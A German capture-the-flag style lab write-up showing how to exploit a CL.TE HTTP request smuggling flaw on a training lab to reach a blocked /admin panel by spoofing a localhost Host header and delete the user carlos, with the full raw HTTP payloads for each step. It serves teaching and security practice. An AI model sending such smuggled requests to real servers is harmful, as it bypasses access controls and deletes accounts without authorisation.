> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Umgehung der Front-End-Sicherheit via CL.TE

### Ausnutzung von HTTP Request Smuggling zum Umgehen von Front-End-Sicherheitskontrollen, CL.TE-Schwachstelle

Das Labor verwendet einen **Frontend** Server und einen **Backend**. / Das Front-End **unterstützt die Chunked-Codierung nicht**, während das Back-End sie akzeptiert. / Der Zugriff auf das Administrationspanel unter **/admin** wird vom Front-End blockiert.

Das Ziel ist es, **eine Anfrage einschleusen** an das Back-End senden, wodurch der Zugriff auf das Admin-Panel ermöglicht wird, dann **den Benutzer carlos entfernen**.

<figure><img src="/files/9ed6c746f9ba0ff0c4c0c0dcb80140d5631a492a" alt=""><figcaption></figcaption></figure>

#### **1. Überprüfung der CL.TE-Schwachstelle**

Das Front-End interpretiert Content-Length, während das Back-End Transfer-Encoding verwendet.

Einfaches CL.TE-Payload:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Dies liefert eine **200**, was bestätigt, dass das Back-End `Transfer-Encoding` berücksichtigt.

<figure><img src="/files/cea90c2548f01a9c86fd6bcefc03e73454e1e1ec" alt=""><figcaption></figcaption></figure>

#### **2. Einschleusen einer eingeschmuggelten Anfrage**

Wenn dann eine Anfrage verkettet wird, liest das Back-End die eingeschmuggelte Anfrage:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Test: A
```

Das Back-End antwortet, dass **nur lokale Benutzer** auf /admin zugreifen können.

<figure><img src="/files/6f93bcc0de884f336abc4653c21f7032c4090981" alt=""><figcaption></figcaption></figure>

#### **3. Übernahme des Hosts, um lokal zu erscheinen**

Um die Einschränkung zu umgehen, muss das Back-End glauben, dass die Anfrage von localhost stammt.

Erster Versuch:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Aber der Server gibt zurück:

```json
{
 "error":"Doppelte Headernamen sind nicht zulässig"
}
```

Das Back-End interpretiert diese Anfrage daher nicht als vollständige neue Anfrage.

### **4. Erstellung einer korrekten eingeschmuggelten Anfrage**

Eine `Content-Length` wird der eingeschmuggelten Anfrage hinzugefügt, damit sie korrekt verarbeitet wird:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Damit das Back-End die Anfrage korrekt liest, passen wir die Größe an:

```http
Content-Length: 10
```

Die vollständige an das Front-End gesendete Anfrage lautet:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/4392433ba79344f3e17431b0b26efed2ed42fa28" alt=""><figcaption></figcaption></figure>

#### **5. Entfernen des Benutzers Carlos**

Ersetzen Sie nun einfach die GET-Zeile durch den Löschaufruf:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="/files/db397fb225692bd397f6d7d3c5b6f67555f00641" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
